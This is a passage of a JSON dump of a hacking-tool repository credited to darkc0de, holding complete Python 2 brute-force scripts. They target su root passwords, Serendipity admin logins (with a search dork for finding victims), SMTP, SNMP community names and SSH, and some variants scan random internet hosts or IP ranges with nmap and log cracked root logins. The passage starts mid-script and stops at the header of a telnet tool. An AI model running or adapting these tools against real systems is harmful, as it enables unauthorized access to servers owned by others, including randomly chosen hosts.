None:\n\t\ttry:\n\t\t\tpop = poplib.POP3(ipaddr[0])\n\t\t\twelcome = pop.getwelcome()\n\t\t\tpop.quit()\n\t\texcept (poplib.error_proto, socket.gaierror, socket.error, socket.herror): \n\t\t\twelcome = \"No Response\"\n\t\t\tpass\n\t\tprint \"\\n\\tAttempting BruteForce:\",ipaddr[0],\"\\n\"\n\t\tprint \"Server Response:\",welcome,\"\\n\"\n\t\tfor user in users:\n\t\t\tfor i in range(len(words)):\n\t\t\t\tif i == 0: reloader()\n\t\t\t\twork = Workhorse()\n\t\t\t\twork.start()\n\t\t\t\ttime.sleep(2)\n\n"
  },
  {
    "path": "rootbrute.py",
    "content": "#!/usr/bin/python \n#Local Root BruteForcer \n\n#More Info: http://forum.darkc0de.com/index.php?action=vthread&forum=8&topic=1571\n \n#http://www.darkc0de.com \n#d3hydr8[at]gmail[dot]com \n \nimport sys \ntry: \n\timport pexpect \nexcept(ImportError): \n\tprint \"\\nYou need the pexpect module.\" \n\tprint \"http://www.noah.org/wiki/Pexpect\\n\" \n\tsys.exit(1) \n \n#Change this if needed. \nLOGIN_ERROR = 'su: incorrect password' \n \ndef brute(word): \n\tprint \"Trying:\",word \n\tchild = pexpect.spawn ('su') \n\tchild.expect ('Password: ') \n\tchild.sendline (word) \n\ti = child.expect (['.+\\s#\\s',LOGIN_ERROR]) \n\tif i  == 0: \n\t\tprint \"\\n\\t[!] Root Password:\",word \n\t\tchild.sendline ('whoami') \n\t\tprint child.before \n\t\tchild.interact() \n\t#if i == 1: \n\t\t#print \"Incorrect Password\" \n \nif len(sys.argv) != 2: \n\tprint \"\\nUsage : ./rootbrute.py <wordlist>\" \n\tprint \"Eg: ./rootbrute.py words.txt\\n\" \n\tsys.exit(1) \n \ntry: \n\twords = open(sys.argv[1], \"r\").readlines() \nexcept(IOError): \n  \tprint \"\\nError: Check your wordlist path\\n\" \n  \tsys.exit(1) \n \nprint \"\\n[+] Loaded:\",len(words),\"words\" \nprint \"[+] BruteForcing...\\n\" \nfor word in words: \n\tbrute(word.replace(\"\\n\",\"\"))"
  },
  {
    "path": "serenbf.py",
    "content": "#!/usr/bin/python\n#Serendipity Brute Force (serendipity_admin.php) POC\n\n#Dork: \"Powered by Serendipity\" inurl:serendipity_admin.php\n\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com \n\nimport urllib2, sys, re, urllib\n\nprint \"\\n   d3hydr8[at]gmail[dot]com SerenBF v1.0\"\nprint \"----------------------------------------------\"\n\nif len(sys.argv) != 4:\n\tprint \"Usage: ./serenbf.py <site> <user> <wordlist>\\n\"\n\tsys.exit(1)\n\t\nif sys.argv[1][:7] != \"http://\":\n\thost = \"http://\"+sys.argv[1]\nelse:\n\thost = sys.argv[1]\n\t\nprint \"[+] BruteForcing:\",host\nprint \"[+] User:\",sys.argv[2]\n\ntry:\n  \twords = open(sys.argv[3], \"r\").readlines()\n  \tprint \"[+] Words Loaded\",len(words),\"\\n\"\nexcept(IOError): \n  \tprint \"Error: Check your wordlist path\\n\"\n  \tsys.exit(1)\n  \nfor word in words:\n\tlogin_form_seq = [\n\t\t('serendipity[action]', 'admin'),\n     \t('serendipity[user]', sys.argv[2]),\n     \t('serendipity[pass]', word[:-1]),\n     \t('serendipity[auto]', 'on'),\n     \t('submit', 'Login >')]\n\tlogin_form_data = urllib.urlencode(login_form_seq)\n\t\n\ttry:\n\t\treq = urllib2.Request(url=host, data=login_form_data)\n\t\tsite = urllib2.urlopen(req).read()\n\texcept(urllib2.URLError):\n\t\tsite = \"\"\n\t\tpass\n\t\t\n\t#Change this response if different. (language)\n\tif re.search(\"invalid username or password\",site):\n\t\tprint \"[-] Login Failed:\",word[:-1]\n\telse:\n\t\tprint \"\\n\\t[!] Login Successfull:\",sys.argv[2],word\n\t\tsys.exit(1)\nprint \"\\n[-] Brute Complete\\n\"\n\t\n"
  },
  {
    "path": "smtpbrute.py",
    "content": "#!usr/bin/python\n#Smtp Brute Forcer\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com\n\nimport threading, time, random, sys, smtplib, socket\nfrom smtplib import SMTP\nfrom copy import copy\n\nif len(sys.argv) !=4:\n\tprint \"Usage: ./smtpbrute.py <server> <userlist> <wordlist>\"\n\tsys.exit(1)\ntry:\t\n\thelo = smtplib.SMTP(sys.argv[1])\n\tname = helo.helo()\n\thelo.quit()\nexcept(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException):\n\tname = \"Server doesn't support the Helo cmd\"\n\ntry:\n  \tusers = open(sys.argv[2], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your userlist path\\n\"\n  \tsys.exit(1)\n  \ntry:\n  \twords = open(sys.argv[3], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your wordlist path\\n\"\n  \tsys.exit(1)\n\nprint \"\\n\\t   d3hydr8[at]gmail[dot]com smtpBruteForcer v1.0\"\nprint \"\\t--------------------------------------------------\\n\"\nprint \"[+] Server:\",sys.argv[1]\nprint \"[+] Users Loaded:\",len(users)\nprint \"[+] Words Loaded:\",len(words)\nprint \"[+] Helo message:\",name,\"\\n\"\n\nwordlist = copy(words)\n\ndef reloader():\n\tfor word in wordlist:\n\t\twords.append(word)\n\ndef getword():\n\tlock = threading.Lock()\n\tlock.acquire()\n\tif len(words) != 0:\n\t\tvalue = random.sample(words,  1)\n\t\twords.remove(value[0])\n\t\t\n\telse:\n\t\tprint \"\\nReloading Wordlist - Changing User\\n\"\n\t\treloader()\n\t\tvalue = random.sample(words,  1)\n\t\tusers.remove(users[0])\n\t\t\n\tlock.release()\n\treturn value[0][:-1], users[0][:-1]\n\t\t\nclass Worker(threading.Thread):\n\t\n\tdef run(self):\n\t\tvalue, user = getword()\n\t\ttry:\n\t\t\tprint \"-\"*12\n\t\t\tprint \"User:\",user,\"Password:\",value\n\t\t\tsmtp = smtplib.SMTP(sys.argv[1])\n\t\t\tsmtp.login(user, value)\n\t\t\tprint \"\\t\\nLogin successful:\",user, value\n\t\t\tsmtp.quit()\n\t\t\twork.join()\n\t\t\tsys.exit(2)\n\t\texcept(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException), msg: \n\t\t\t#print \"An error occurred:\", msg\n\t\t\tpass\n \nfor i in range(len(words)*len(users)):\n\twork = Worker()\n\twork.start()\n\ttime.sleep(1)\n"
  },
  {
    "path": "smtpbrute_iprange.py",
    "content": "#!usr/bin/python\n#Smtp Brute Forcer, searches ip_range for hosts using smtp.\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com\n\nimport threading, time, StringIO, commands, random, sys, smtplib, re, socket\nfrom smtplib import SMTP\nfrom copy import copy\n\nif len(sys.argv) !=4:\n\tprint \"Usage: ./smtpbrute_iprange.py <ip_range> <userlist> <wordlist>\"\n\tsys.exit(1)\n\ntry:\n  \tusers = open(sys.argv[2], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your userlist path\\n\"\n  \tsys.exit(1)\n  \ntry:\n  \twords = open(sys.argv[3], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your wordlist path\\n\"\n  \tsys.exit(1)\n\nprint \"\\n\\t   d3hydr8[at]gmail[dot]com smtpBruteForcer v1.0\"\nprint \"\\t--------------------------------------------------\\n\"\nprint \"[+] Scanning:\",sys.argv[1]\nprint \"[+] Users Loaded:\",len(users)\nprint \"[+] Words Loaded:\",len(words)\n\nwordlist = copy(words)\n\ndef scan():\n\n\tiprange = sys.argv[1]\n\tip_list = []\n\t\n\tnmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 '+iprange+' -p 25 | grep open -B 3')[1]).readlines()\n\t\n\tfor tmp in nmap:\n\t\tipaddr = re.findall(\"\\d*\\.\\d*\\.\\d*\\.\\d*\", tmp)\n\t\tif ipaddr:\n\t    \t\tip_list.append(ipaddr[0])\n\treturn ip_list\n\ndef reloader():\n\tfor word in wordlist:\n\t\twords.append(word)\n\ndef getword():\n\tlock = threading.Lock()\n\tlock.acquire()\n\tif len(words) != 0:\n\t\tvalue = random.sample(words,  1)\n\t\twords.remove(value[0])\n\t\t\n\telse:\n\t\treloader()\n\t\tvalue = random.sample(words,  1)\n\t\t\n\tlock.release()\n\treturn value[0][:-1]\n\t\t\nclass Workhorse(threading.Thread):\n\t\n\tdef run(self):\n\t\tvalue = getword()\n\t\ttry:\n\t\t\tprint \"-\"*12\n\t\t\tprint \"User:\",user[:-1],\"Password:\",value\n\t\t\tsmtp = smtplib.SMTP(ip)\n\t\t\tsmtp.login(user[:-1], value)\n\t\t\tprint \"\\t\\nLogin successful:\",user, value\n\t\t\tsmtp.quit()\n\t\t\twork.join()\n\t\t\tsys.exit(2)\n\t\texcept(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException), msg: \n\t\t\t#print \"An error occurred:\", msg\n\t\t\tpass\n \nip_list = scan()\nprint \"[+] Hosts Loaded:\",len(ip_list),\"\\n\"\nfor ip in ip_list:\n\tprint \"\\n\\tAttempting BruteForce:\",ip,\"\\n\"\n\ttry:\t\n\t\thelo = smtplib.SMTP(ip)\n\t\tprint helo.helo(), \"\\n\"\n\t\thelo.quit()\n\texcept(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException):\n\t\tprint \"Server doesn't support the Helo cmd\"\n\tfor user in users:\n\t\tfor i in range(len(words)):\n\t\t\tif i == 0: reloader()\n\t\t\twork = Workhorse()\n\t\t\twork.start()\n\t\t\ttime.sleep(2)\n"
  },
  {
    "path": "smtpbrute_random.py",
    "content": "#!usr/bin/python\n#Uses nmap to check if smtp port is open, brute forces if it is.\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com\n\nimport threading, time, StringIO, commands, random, sys, smtplib, re, socket\nfrom smtplib import SMTP\nfrom copy import copy\n\nif len(sys.argv) !=4:\n\tprint \"Usage: ./smtpbrute_random.py <how many to scan> <userlist> <wordlist>\"\n\tsys.exit(1)\n\ntry:\n  \tusers = open(sys.argv[2], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your userlist path\\n\"\n  \tsys.exit(1)\n  \ntry:\n  \twords = open(sys.argv[3], \"r\").readlines()\nexcept(IOError): \n  \tprint \"Error: Check your wordlist path\\n\"\n  \tsys.exit(1)\n\nprint \"\\n\\t   d3hydr8[at]gmail[dot]com smtpBruteForcer v1.0\"\nprint \"\\t--------------------------------------------------\\n\"\nprint \"[+] Scanning:\",sys.argv[1],\"hosts\"\nprint \"[+] Users Loaded:\",len(users)\nprint \"[+] Words Loaded:\",len(words),\"\\n\"\n\nwordlist = copy(words)\n\ndef scan():\n\t\n\tnmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 -iR 1 -p 25 | grep open -B 3')[1]).readlines()\n\t\n\tfor tmp in nmap:\n\t\tipaddr = re.findall(\"\\d*\\.\\d*\\.\\d*\\.\\d*\", tmp)\n\t\tif ipaddr:    \t\t\n\t\t\treturn ipaddr\n\ndef reloader():\n\tfor word in wordlist:\n\t\twords.append(word)\n\ndef getword():\n\tlock = threading.Lock()\n\tlock.acquire()\n\tif len(words) != 0:\n\t\tvalue = random.sample(words,  1)\n\t\twords.remove(value[0])\n\t\t\n\telse:\n\t\tprint \"\\nReloading Wordlist - Changing User\\n\"\n\t\treloader()\n\t\tvalue = random.sample(words,  1)\n\t\t\n\tlock.release()\n\treturn value[0][:-1]\n\t\t\nclass Workhorse(threading.Thread):\n\t\n\tdef run(self):\n\t\tvalue = getword()\n\t\ttry:\n\t\t\tprint \"-\"*12\n\t\t\tprint \"User:\",user[:-1],\"Password:\",value\n\t\t\tsmtp = smtplib.SMTP(ipaddr[0])\n\t\t\tsmtp.login(user[:-1], value)\n\t\t\tprint \"\\t\\nLogin successful:\",user, value\n\t\t\tsmtp.quit()\n\t\t\twork.join()\n\t\t\tsys.exit(2)\n\t\texcept(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException), msg: \n\t\t\t#print \"An error occurred:\", msg\n\t\t\tpass\n\nfor x in range(int(sys.argv[1])):\n\tprint \"Scanning:\",x,\"of\",sys.argv[1]\n\tipaddr = scan()\n\tif ipaddr != None:\n\t\tprint \"\\n\\tAttempting BruteForce:\",ipaddr[0],\"\\n\"\n\t\ttry:\t\n\t\t\thelo = smtplib.SMTP(ipaddr[0])\n\t\t\tprint helo.helo(),\"\\n\"\n\t\t\thelo.quit()\n\t\texcept(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException):\n\t\t\tprint \"Server doesn't support the Helo cmd\\n\"\n\t\tfor user in users:\n\t\t\tfor i in range(len(words)):\n\t\t\t\tif i == 0: reloader()\n\t\t\t\twork = Workhorse()\n\t\t\t\twork.start()\n\t\t\t\ttime.sleep(2)\n\n"
  },
  {
    "path": "snmp_brute.py",
    "content": "#!usr/bin/python\n#Uses nmap to check if snmp port is open then uses snmpwalk to try and bruteforce\n#the community name.\n\n#Required: nmap and snmpwalk \n\n#Changelog: added iprange, single scans and threading for random scans\n#Changelog: added the ability to add your own wordlist, it will add to \n#the ones given and erase the duplicates\n\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com\n\nimport time, StringIO, commands, sys, re, threading, sets\n\ndef timer():\n\tnow = time.localtime(time.time())\n\treturn time.asctime(now)\n\ndef title():\n\tprint \"\\n\\t   d3hydr8[at]gmail[dot]com snmpBruteForcer v1.2\"\n\tprint \"\\t--------------------------------------------------\\n\"\n\t\ndef scan(option):\n\t\n\tnmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 '+option+' -p 161 | grep open -B 3')[1]).read()\n\tif re.search(\"command not found\",nmap.lower()):\n\t\tprint \"\\n[-] nmap not installed!!!\\n\"\n\t\tsys.exit(1)\n\telse:\n\t\tipaddr = re.findall(\"\\d*\\.\\d*\\.\\d*\\.\\d*\", nmap)\n\t\tif ipaddr:    \t\t\n\t\t\treturn ipaddr\n\ndef brute(ip):\n\tprint \"\\n[+] Attempting BruteForce:\",ip\n\ttry:\n\t\tfor n in names:\n\t\t\tresponse = StringIO.StringIO(commands.getstatusoutput('snmpwalk '+ip+\" \"+n)[1]).readlines()\n\t\t\tif re.search(\"command not found\",response[0].lower()):\n\t\t\t\tprint \"\\n[-] snmpwalk not installed!!!\\n\"\n\t\t\t\tsys.exit(1)\n\t\t\telse:\n\t\t\t\tif verbose ==1:\n\t\t\t\t\tprint \"\\t{- Trying:\",n\n\t\t\t\tif len(response) > 1:\n\t\t\t\t\tprint \"\\n\\tSuccess:\",ip,\"Community Name:\",n\n\t\t\t\t\tprint \"\\n\\tTry: snmpwalk\",ip,n,\"\\n\"\n\texcept(), msg:\n\t\t#print \"Error:\",msg\n\t\tpass\n\nclass Worker(threading.Thread):\n\tdef run(self):\n\t\tipaddr = scan(\"-iR 1\")\n\t\tif ipaddr != None:\n\t\t\tfor ip in ipaddr:\n\t\t\t\tbrute(ip)\n\t\t\t\t\nif len(sys.argv) <= 2:\n\ttitle()\n\tprint \"Usage: ./snmp_random.py <option> \\n\"\n\tprint \"Example: ./snmpbrute.py -iprange 192.168.1-100.1-255 -verbose\\n\"\n\tprint \"[options]\"\n\tprint \"   -s/single <ip>: Bruteforce single ip\"\n\tprint \"   -i/-iprange <ip_range>: Scans ip range for snmp to brute force\"\n\tprint \"   -r/-random <how many to scan>: Will scan random ip's for snmp to brute force\"\n\tprint \"   -l/-list <wordlist file>: Add your own wordlist\"\n\tprint \"   -v/-verbose : Verbose Mode\\n\"\n\tsys.exit(1)\n\n#Add more community names here.\nnames = [\"1234\",\"2read\",\"4changes\",\"CISCO\",\"IBM\",\"OrigEquipMfr\",\"SNMP\",\"SUN\",\"access\",\"admin\",\"agent\",\"all\",\"cisco\"\n\t\t,\"community\",\"default\",\"enable\",\"field\",\"guest\",\"hello\",\"ibm\",\"manager\",\"mngt\",\"monitor\",\"netman\",\"network\"\n\t\t,\"none\",\"openview\",\"pass\",\"password\",\"passwd\",\"private\",\"proxy\",\"public\",\"read\",\"read-only\",\"read-write\"\n\t\t,\"root\",\"router\",\"secret\",\"security\",\"snmp\",\"snmpd\",\"solaris\",\"sun\",\"switch\",\"system\",\"tech\",\"test\"\n\t\t,\"world\",\"write\"]\n\t\t\nfor arg in sys.argv[1:]:\n\tif arg.lower() == \"-s\" or arg.lower() == \"-single\":\n\t\tipaddr = sys.argv[int(sys.argv[1:].index(arg))+2]\n\t\tmode = \"Single IP\"\n\tif arg.lower() == \"-i\" or arg.lower() == \"-iprange\":\n\t\tiprange = sys.argv[int(sys.argv[1:].index(arg))+2]\n\t\tmode = \"Ip-Range\"\n\tif arg.lower() == \"-r\" or arg.lower() == \"-random\":\n\t\ttotal = sys.argv[int(sys.argv[1:].index(arg))+2]\n\t\tmode = \"Random\"\n\tif arg.lower() == \"-l\" or arg.lower() == \"-list\":\n\t\twordlist = sys.argv[int(sys.argv[1:].index(arg))+2]\n\tif arg.lower() == \"-v\" or arg.lower() == \"-verbose\":\n\t\tverbose = 1\ntitle()\t\ntry:\n\tprint \"[+] Wordlist:\",wordlist,\"loading\"\n  \twords = open(wordlist, \"r\").readlines()\n\tprint \"[+] Loaded:\",len(words),\"names\"\n\tnames = list(sets.Set(words+names))\nexcept(IOError): \n  \tprint \"Error: Check your wordlist path\\n\"\n  \tsys.exit(1)\nexcept(NameError):\n\tpass\n\t\nprint \"[+] Mode:\",mode\nif mode == \"Random\":\n\tif total.isdigit() == False:\n\t\tprint \"\\n[!] How many ips to scan: must be a number\\n\"\n\t\tsys.exit(1)\n\telse:\n\t\tprint \"[+] Total:\",total\nif mode == \"Ip-Range\":\n\tprint \"[+] Range:\",iprange\ntry:\n\tif verbose ==1:\n\t\tprint \"[+] Verbose Mode On\"\nexcept(NameError):\n\tverbose = 0\n\tprint \"[-] Verbose Mode Off\"\nprint \"[+] Names Loaded:\",len(names)\nprint \"[+] Started:\",timer(),\"\\n\"\n\nif mode == \"Random\":\n\tfor i in range(int(total)):\n\t\tprint \"[+] Scanning:\",i+1,\"of\",total\n\t\twork = Worker()\n\t\twork.start()\n\t\ttime.sleep(1)\nif mode == \"Single IP\":\n\tbrute(ipaddr)\nif mode == \"Ip-Range\":\n\tprint \"[+] Scanning:\",iprange\n\tips = scan(iprange)\n\tif ips != None:\n\t\tprint \"[+] Found:\",len(ips)\n\t\tfor ip in ips:\n\t\t\tbrute(ip)\n\telse:\n\t\tprint \"\\n[!] No SNMP Open\"\n\t\nprint \"\\n[-] Done -\",timer(),\"\\n\"\n\n"
  },
  {
    "path": "sshbrute.py",
    "content": "#!/usr/bin/python\n#SSH BruteForcer\n\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com\n\nimport sys, time\ntry:\n\timport pexpect, pxssh\nexcept(ImportError):\n\tprint \"\\nYou need the pexpect module.\"\n\tprint \"http://www.noah.org/wiki/Pexpect\\n\"\n\tsys.exit(1)\n\ndef brute(word):\n\tprint \"Trying:\",word\n     \ttry:\n        \ts = pxssh.pxssh()\n        \ts.login (ip, user, word, login_timeout=10)\n        \ts.sendline (command)\n        \ts.prompt()\n        \tprint \"\\n\",s.before\n        \ts.logout()\n\t\tprint \"\\t[!] Login Success:\",user, word,\"\\n\"\n\t\tsys.exit(1)\n   \texcept Exception, e:\n        \t#print \"[-] Failed\"\n\t\tpass\n\texcept KeyboardInterrupt:\n\t\tprint \"\\n[-] Quit\\n\"\n\t\tsys.exit(1)\n\nprint \"\\n\\t   d3hydr8:darkc0de.com sshBrute v1.0\"\nprint \"\\t----------------------------------------\"\n\t\nif len(sys.argv) != 4:\n\tprint \"\\nUsage : ./sshbrute.py <server> <user> <wordlist>\"\n\tprint \"Eg: ./sshbrute.py 198.162.1.1 root words.txt\\n\"\n\tsys.exit(1)\n\nip = sys.argv[1]\nuser = sys.argv[2]\ncommand = 'uname -a'\n\ntry:\n\twords = open(sys.argv[3], \"r\").readlines()\nexcept(IOError): \n  \tprint \"\\n[-] Error: Check your wordlist path\\n\"\n  \tsys.exit(1)\n\nprint \"\\n[+] Loaded:\",len(words),\"words\"\nprint \"[+] Server:\",ip\nprint \"[+] User:\",user\nprint \"[+] BruteForcing...\\n\"\nfor word in words:\n\t#Change this time if needed\n\ttime.sleep(0.5)\n\tbrute(word.replace(\"\\n\",\"\"))\n"
  },
  {
    "path": "sshbrute_fork.py",
    "content": "#!/usr/bin/python\n#SSH BruteForcer using fork to \n#split the processes and the wordlist\n#for faster results.\n\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com\n\nimport sys, time, random, os\ntry:\n\timport pexpect, pxssh\nexcept(ImportError):\n\tprint \"\\nYou need the pexpect module.\"\n\tprint \"http://www.noah.org/wiki/Pexpect\\n\"\n\tsys.exit(1)\n\ndef brute(word):\n\tprint \"Trying:\",word\n     \ttry:\n        \ts = pxssh.pxssh()\n        \ts.login (ip, user, word, login_timeout=10)\n        \ts.sendline (command)\n        \ts.prompt()\n        \tprint \"\\n\",s.before\n        \ts.logout()\n\t\tprint \"\\t[!] Login Success:\",user, word,\"\\n\"\n\t\tsys.exit(1)\n   \texcept Exception, e:\n        \t#print \"[-] Failed\"\n\t\tpass\n\texcept KeyboardInterrupt:\n\t\tprint \"\\n[-] Quit\\n\"\n\t\tsys.exit(1)\n\t\ndef getword():\n\tprint len(words)\n\tword = random.choice(words)\n\twords.remove(word)\n\tprint len(words)\n\treturn word\n\nprint \"\\n\\t   d3hydr8:darkc0de.com sshBrute v1.1\"\nprint \"\\t----------------------------------------\"\n\t\nif len(sys.argv) != 4:\n\tprint \"\\nUsage : ./sshbrute.py <server> <user> <wordlist>\"\n\tprint \"Eg: ./sshbrute.py 198.162.1.1 root words.txt\\n\"\n\tsys.exit(1)\n\nip = sys.argv[1]\nuser = sys.argv[2]\ncommand = 'uname -a'\n\ntry:\n\twordlist = open(sys.argv[3], \"r\").readlines()\n\twords1 = wordlist[:len(wordlist) / 2]\n\twords2 = wordlist[len(wordlist) / 2:]\nexcept(IOError): \n  \tprint \"\\n[-] Error: Check your wordlist path\\n\"\n  \tsys.exit(1)\n\nprint \"\\n[+] Loaded:\",len(wordlist),\"words\"\nprint \"[+] Split - Wordlist1:\",len(words1),\"Wordlist2:\",len(words2)\nprint \"[+] Server:\",ip\nprint \"[+] User:\",user\nprint \"[+] BruteForcing...\\n\"\n\npid = os.fork()\nif pid:\n\tprint \"[+] pid Started:\",os.getpid(),\"\\n\"\n\twhile len(words1) != 0:\n\t\tword = random.choice(words1)\n\t\t#Change this time if needed\n\t\ttime.sleep(0.5)\n\t\tbrute(word.replace(\"\\n\",\"\"))\n\t\twords1.remove(word)\nelse:\n\tprint \"[+] pid Started:\",os.getpid()\n\twhile len(words2) != 0:\n\t\tword = random.choice(words2)\n\t\t#Change this time if needed\n\t\ttime.sleep(0.2)\n\t\tbrute(word.replace(\"\\n\",\"\"))\n\t\twords2.remove(word)\n"
  },
  {
    "path": "sshbrute_iprange.py",
    "content": "#!/usr/bin/python\n#SSH BruteForcer that scans an ip range for \n#open ssh ports using nmap and then brute \n#forces them.\n\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com\n\nimport sys, time, StringIO, commands, re\n\n#Set the successful login file.\nsave_file = \"SSH_Logins.txt\"\n#Set verbose mode: 1=on 0=off\nverbose = 1\n#Set the user to use.\nuser = \"root\"\n\n\ntry:\n\timport pexpect, pxssh\nexcept(ImportError):\n\tprint \"\\nYou need the pexpect module.\"\n\tprint \"http://www.noah.org/wiki/Pexpect\\n\"\n\tsys.exit(1)\n\t\ndef scan():\n\tips = []\n\targs = 'nmap -P0 '+ip_range+' -p 22 -open | grep open -B 3'\n\tnmap = StringIO.StringIO(commands.getstatusoutput(args)[1]).readlines()\n\tfor tmp in nmap:\n\t\tipaddr = re.findall(\"\\d*\\.\\d*\\.\\d*\\.\\d*\", tmp)\n\t\tif ipaddr:\n\t    \t\tips.append(ipaddr[0])\n\treturn ips\n\ndef brute(ip, word):\n\tif verbose != 0:\n\t\tprint \"Trying:\",word\n     \ttry:\n        \ts = pxssh.pxssh()\n        \ts.login (ip, user, word, login_timeout=10)\n        \ts.sendline (command)\n        \ts.prompt()\n        \tprint \"\\n\",s.before\n        \ts.logout()\n\t\tprint \"\\t[!] Login Success:\",user, word,\"\\n\"\n\t\tlogins.writelines(\"SSH Login:\"+ip+\":22 \"+user+\" \"+word+\"\\n\")\n   \texcept Exception, e:\n        \t#print \"[-] Failed\"\n\t\tpass\n\texcept KeyboardInterrupt:\n\t\tprint \"\\n[-] Quit\\n\"\n\t\tlogins.close()\n\t\tsys.exit(1)\n\nprint \"\\n\\t   d3hydr8:darkc0de.com sshBrute/IpRange v1.0\"\nprint \"\\t------------------------------------------------\"\n\t\nif len(sys.argv) != 3:\n\tprint \"\\nUsage : ./sshbrute_iprange.py <ip_range> <wordlist>\"\n\tprint \"Eg: ./sshbrute_iprange.py 198.162.1.1-255 words.txt\\n\"\n\tsys.exit(1)\n\nip_range = sys.argv[1]\ncommand = 'uname -a'\nlogins = open(save_file, \"a\")\n\ntry:\n\twords = open(sys.argv[2], \"r\").readlines()\nexcept(IOError): \n  \tprint \"\\n[-] Error: Check your wordlist path\\n\"\n  \tsys.exit(1)\n\nprint \"\\n[+] Loaded:\",len(words),\"words\"\nprint \"[+] User:\",user\nprint \"[+] Save file:\",save_file\nif verbose != 0:\n\tprint \"[+] Verbose Mode: On\"\nelse:\n\tprint \"[+] Verbose Mode: Off\"\nprint \"[+] Scanning:\",ip_range\nprint \"This might take a min...\"\n\nips = scan()\nif len(ips) <= 0:\n\tprint \"\\n[-] No ips found running SSH\\n\"\n\tsys.exit(1)\nelse:\n\tprint \"\\n[+] Found:\",len(ips),\"ips running SSH\"\n\nfor ip in ips:\n\tprint \"[+] BruteForcing:\",ip,\"\\n\"\n\tfor word in words:\n\t\t#Change this time if needed\n\t\ttime.sleep(0.5)\n\t\tbrute(ip, word.replace(\"\\n\",\"\"))\nlogins.close()\nprint \"\\n[-] Done\\n\"\n"
  },
  {
    "path": "sshbrute_random.py",
    "content": "#!/usr/bin/python\n#SSH BruteForcer that scans for random\n#open ssh ports using nmap and then brute \n#forces them.\n\n#http://www.darkc0de.com\n#d3hydr8[at]gmail[dot]com\n\nimport sys, time, StringIO, commands, re\n\n#Set the successful login file.\nsave_file = \"SSH_Logins.txt\"\n#Set verbose mode: 1=on 0=off\nverbose = 1\n#Set the user to use.\nuser = \"root\"\n\ntry:\n\timport pexpect, pxssh\nexcept(ImportError):\n\tprint \"\\nYou need the pexpect module.\"\n\tprint \"http://www.noah.org/wiki/Pexpect\\n\"\n\tsys.exit(1)\n\t\ndef scan():\n\targs = 'nmap -iR 1 -p 22 -open | grep open -B 3'\n\tnmap = StringIO.StringIO(commands.getstatusoutput(args)[1]).read()\n\tipaddr = re.findall(\"\\d*\\.\\d*\\.\\d*\\.\\d*\", nmap)\n\tif ipaddr:\n\t    \treturn ipaddr[0]\n\ndef brute(ip, word):\n\tif verbose != 0:\n\t\tprint \"Trying:\",word\n     \ttry:\n        \ts = pxssh.pxssh()\n        \ts.login (ip, user, word, login_timeout=10)\n        \ts.sendline (command)\n        \ts.prompt()\n        \tprint \"\\n\",s.before\n        \ts.logout()\n\t\tprint \"\\t[!] Login Success:\",user, word,\"\\n\"\n\t\tlogins.writelines(\"SSH Login:\"+ip+\":22 \"+user+\" \"+word+\"\\n\")\n   \texcept Exception, e:\n        \t#print \"[-] Failed\"\n\t\tpass\n\texcept KeyboardInterrupt:\n\t\tprint \"\\n[-] Quit\\n\"\n\t\tlogins.close()\n\t\tsys.exit(1)\n\nprint \"\\n\\t   d3hydr8:darkc0de.com sshBrute/Random v1.0\"\nprint \"\\t----------------------------------------------\"\n\t\nif len(sys.argv) != 3:\n\tprint \"\\nUsage : ./sshbrute_random.py <how many> <wordlist>\"\n\tprint \"Eg: ./sshbrute_random.py 1000 words.txt\\n\"\n\tsys.exit(1)\n\nnum = sys.argv[1]\ncommand = 'uname -a'\nlogins = open(save_file, \"a\")\n\ntry:\n\twords = open(sys.argv[2], \"r\").readlines()\nexcept(IOError): \n  \tprint \"\\n[-] Error: Check your wordlist path\\n\"\n  \tsys.exit(1)\n\nprint \"\\n[+] Loaded:\",len(words),\"words\"\nprint \"[+] User:\",user\nprint \"[+] Save file:\",save_file\nif verbose != 0:\n\tprint \"[+] Verbose Mode: On\"\nelse:\n\tprint \"[+] Verbose Mode: Off\"\nprint \"[+] Scanning:\",num,\"ips\\n\"\n\nfor x in xrange(int(num)):\n\tprint \"[-] Scanning:\",x+1,\"of\",num\n\tip = scan()\n\tif ip != None:\n\t\tprint \"\\n\\t[+] BruteForcing:\",ip,\"\\n\"\n\t\tfor word in words:\n\t\t\t#Change this time if needed\n\t\t\ttime.sleep(0.5)\n\t\t\tbrute(ip, word.replace(\"\\n\",\"\"))\nlogins.close()\nprint \"\\n[-] Done\\n\"\n"
  },
  {
    "path": "telnetbrute.py",
